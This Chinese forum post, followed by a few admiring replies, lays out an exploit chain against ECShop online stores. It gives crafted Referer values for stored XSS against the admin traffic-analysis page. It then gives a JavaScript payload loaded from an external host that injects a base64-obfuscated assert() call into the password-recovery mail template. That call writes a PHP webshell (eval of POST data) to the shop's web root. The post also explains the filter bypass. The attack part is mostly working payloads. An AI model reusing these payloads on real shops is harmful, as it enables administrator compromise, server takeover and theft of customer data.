ecshop过滤不严导致上万网店可被getshell（需一定条件）
1.includes/lib_main.php过滤不严导致XSS看代码
function visit_stats()
{
if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off')
{
return;
}
$time = gmtime();
/* 检查客户端是否存在访问统计的cookie */
$visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1;
setcookie('ECS', $visit_times, $time + 86400 * 365, '/');
$browser= get_user_browser();
$os = get_os();
$ip = real_ip();
$area = ecs_geoip($ip);
/* 语言 */
if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))
{
$pos= strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';');
$lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']);
}
else
{
$lang = '';
}
/* 来源 */
if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9)
{
$pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);//
if ($pos !== false)
{
$domain = substr($_SERVER['HTTP_REFERER'], 0, $pos);
$path = substr($_SERVER['HTTP_REFERER'], $pos);
/* 来源关键字 */
if (!empty($domain) && !empty($path))
{
save_searchengine_keyword($domain, $path);
}
}
else
{
$domain = $path = '';
}
}
else
{
$domain = $path = '';
}
$sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' .
'ip_address, visit_times, browser, system, language, area, ' .
'referer_domain, referer_path, access_url, access_time' .
') VALUES (' .
"'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ".
"'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')";
$GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签
}
取出时也没有过滤,于是产生漏洞
我们来构造一下REFERER
访问首页,构造Referer值为'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/
提交,如图,
管理员查看流量分析时触发,如图
2.打cookie多没意思,咱们getshell吧
构造Referer值为--></script>/
提交
再次构造Referer值为'></graph>"><script src="http:\\\\127.0.0.1\\demo.js"><!--/
提交(src后面的js地址必须用反斜杠)
demo.js内容为
Ajax.call('mail_template.php?is_ajax=1&act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/
Ajax.call('../user.php?act=get_password','act=send_pwd_email&user_name=vip&email=vip@ecshop.com', a , "POST", "JSON");/*前台取回密码.这里的vip和vip@ecshop.com为前台会员帐号和邮箱,我懒得注册了就用这个测试*/
function a(){
alert('');
}
触发后,会在网店根目录生成一个test.php的文件,内容为<?php @eval($_POST['a']);?>
这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码
漏洞在includes\cls_template.php的fetch_str()函数
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);//过滤了部分php关键词
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match = array_unique($sp_match);
for ($curr_sp = 0, $for_max2 = count($sp_match); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[$curr_sp]).'\'; ?>'."\n", $source);
}
}
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
}
我们可以构造代码到取回邮件模板:
{$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}<?
执行取回操作即可绕过过滤执行我们构造的代码 又是一个好帖啊:D 原谅小学生看不懂 好像很强大的样子。:D 好流弊。。。。 果然是技术流啊，成为核心就是这么给力！ JJ 威武 霸气啊。
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